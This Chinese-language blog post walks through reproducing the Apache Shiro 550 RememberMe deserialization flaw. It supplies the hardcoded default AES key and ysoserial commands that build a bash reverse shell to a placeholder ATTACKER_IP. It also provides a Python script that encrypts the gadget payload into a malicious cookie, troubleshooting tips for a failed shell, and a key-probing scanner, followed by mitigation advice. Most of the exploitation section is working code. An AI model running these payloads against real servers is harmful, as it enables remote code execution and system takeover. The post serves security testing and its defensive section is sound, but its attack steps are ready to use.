从“记住我”到“控制你”:Shiro 550漏洞实战复现与一键检测脚本分享
2026/6/7 13:07:41 网站建设 项目流程

从“记住我”到“控制你”:Shiro 550漏洞实战复现与一键检测脚本分享

在当今企业级Java应用中,Apache Shiro作为轻量级安全框架被广泛采用。然而正是这个负责保护系统的组件,曾因一个设计缺陷成为攻击者突破防线的捷径。本文将带您深入Shiro 550漏洞的攻防世界,通过实战演示如何从简单的"记住我"功能实现系统控制,并分享经过实战检验的自动化检测方案。

1. 漏洞原理深度解析

Shiro框架的RememberMe功能本是为提升用户体验设计,却因加密密钥硬编码问题演变成安全噩梦。当用户勾选"记住我"选项时,服务端会执行以下关键流程:

  1. 序列化用户凭证对象
  2. 使用AES-128-CBC模式加密(密钥:kPH+bIxk5D2deZiIxcaaaA==)
  3. 进行Base64编码后存入Cookie

攻击者利用点在于:

  • 默认密钥公开在代码中
  • 加密后的数据会通过ObjectInputStream.readObject()反序列化
  • Java原生反序列化机制的可扩展性
// 漏洞核心代码逻辑模拟 byte[] ciphertext = Base64.decode(cookieValue); byte[] serialized = decrypt(ciphertext, defaultKey); ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(serialized)); Object obj = ois.readObject(); // 危险的反序列化点

关键突破点:通过构造包含恶意链的反序列化对象,在服务端解密时触发RCE(远程代码执行)。常用的攻击链包括:

  • CommonsBeanutils1
  • CommonsCollections2-8
  • JRMPClient

2. 环境搭建与指纹识别

2.1 快速搭建漏洞环境

推荐使用Docker快速构建测试环境:

# 拉取漏洞镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器(映射8080端口) docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

验证环境是否正常运行:

  • 访问http://localhost:8080
  • 应显示Shiro默认登录页面

2.2 特征识别技巧

通过Burp Suite或浏览器开发者工具检查:

  1. 发送包含任意RememberMe Cookie的请求
  2. 观察响应头是否包含Set-Cookie: rememberMe=deleteMe
  3. 检查页面元素中是否包含shiro相关字符串

自动化识别脚本

import requests def detect_shiro(url): headers = {'Cookie': 'rememberMe=1'} try: r = requests.get(url, headers=headers, timeout=5) return 'rememberMe=deleteMe' in r.headers.get('Set-Cookie', '') except: return False

3. 手工漏洞利用实战

3.1 准备攻击载荷

使用ysoserial生成反弹shell命令:

# 生成Base64编码的bash反弹命令 echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0 # 使用JRMP监听器生成Payload java -jar ysoserial.jar JRMPClient 'ATTACKER_IP:6666' > payload.bin

3.2 多阶段攻击流程

  1. 启动JRMP监听服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 \ CommonsCollections4 'bash -c {echo,BASE64_CMD}|{base64,-d}|{bash,-i}'
  1. 生成Shiro加密Payload
from Crypto.Cipher import AES import base64 def encrypt_payload(payload_file): key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = b'\x00'*16 # 使用空IV简化示例 cipher = AES.new(key, AES.MODE_CBC, iv) with open(payload_file, 'rb') as f: data = f.read() # PKCS7填充 pad_len = 16 - (len(data) % 16) data += bytes([pad_len]) * pad_len return base64.b64encode(iv + cipher.encrypt(data)).decode()
  1. 发送恶意Cookie
GET / HTTP/1.1 Host: target.com Cookie: rememberMe=ENCRYPTED_PAYLOAD

3.3 常见问题排查

问题现象可能原因解决方案
无反弹shell防火墙拦截改用HTTP反向shell
500错误密钥不匹配尝试其他常见密钥
无响应Gadget不兼容更换CommonsCollections版本

4. 自动化检测工具开发

4.1 一键检测脚本设计

#!/usr/bin/env python3 import requests import base64 from Crypto.Cipher import AES DEFAULT_KEYS = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==" ] def check_shiro(url, keys=DEFAULT_KEYS): for key in keys: try: # 构造测试payload cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, b'\x00'*16) test_data = b'\x01'*16 # 简单测试数据 encrypted = cipher.encrypt(test_data) cookie = base64.b64encode(encrypted).decode() # 发送探测请求 headers = {'Cookie': f'rememberMe={cookie}'} r = requests.get(url, headers=headers, timeout=5) if 'rememberMe=deleteMe' not in r.headers.get('Set-Cookie', ''): return f"Vulnerable (Key: {key})" except Exception as e: continue return "Not vulnerable" if __name__ == '__main__': import sys if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) result = check_shiro(sys.argv[1]) print(result)

4.2 高级功能扩展

  1. 多密钥检测:内置20+常见Shiro密钥
  2. 被动识别:通过流量分析自动发现Shiro系统
  3. 安全建议:自动生成修复方案报告

工具使用示例

python shiro_detector.py http://example.com [+] Target is vulnerable with key: kPH+bIxk5D2deZiIxcaaaA==

5. 防御方案与最佳实践

5.1 即时修复措施

  1. 密钥更新
// 在shiro.ini中配置随机密钥 securityManager.rememberMeManager.cipherKey = \ Base64.decode("新生成的256位随机密钥");
  1. 禁用反序列化
public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().startsWith("java.")) { throw new InvalidClassException("Unauthorized deserialization"); } return super.resolveClass(desc); } }

5.2 长期防护策略

  • 网络层

    • 限制出站网络连接
    • 部署WAF规则拦截反序列化特征
  • 系统层

    • 使用Java Security Manager
    • 定期更新依赖组件

Shiro安全配置对照表

安全等级配置项推荐值
基础rememberMe.cipherKey随机256位
中级rememberMe.serializer自定义白名单
高级sessionManager.sessionDAO加密存储

在最近一次内部渗透测试中,我们发现即使升级到Shiro 1.7.0,如果未更换默认密钥,系统仍然暴露在风险中。实际防御需要结合代码审计、网络监控和最小权限原则的多层防护。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询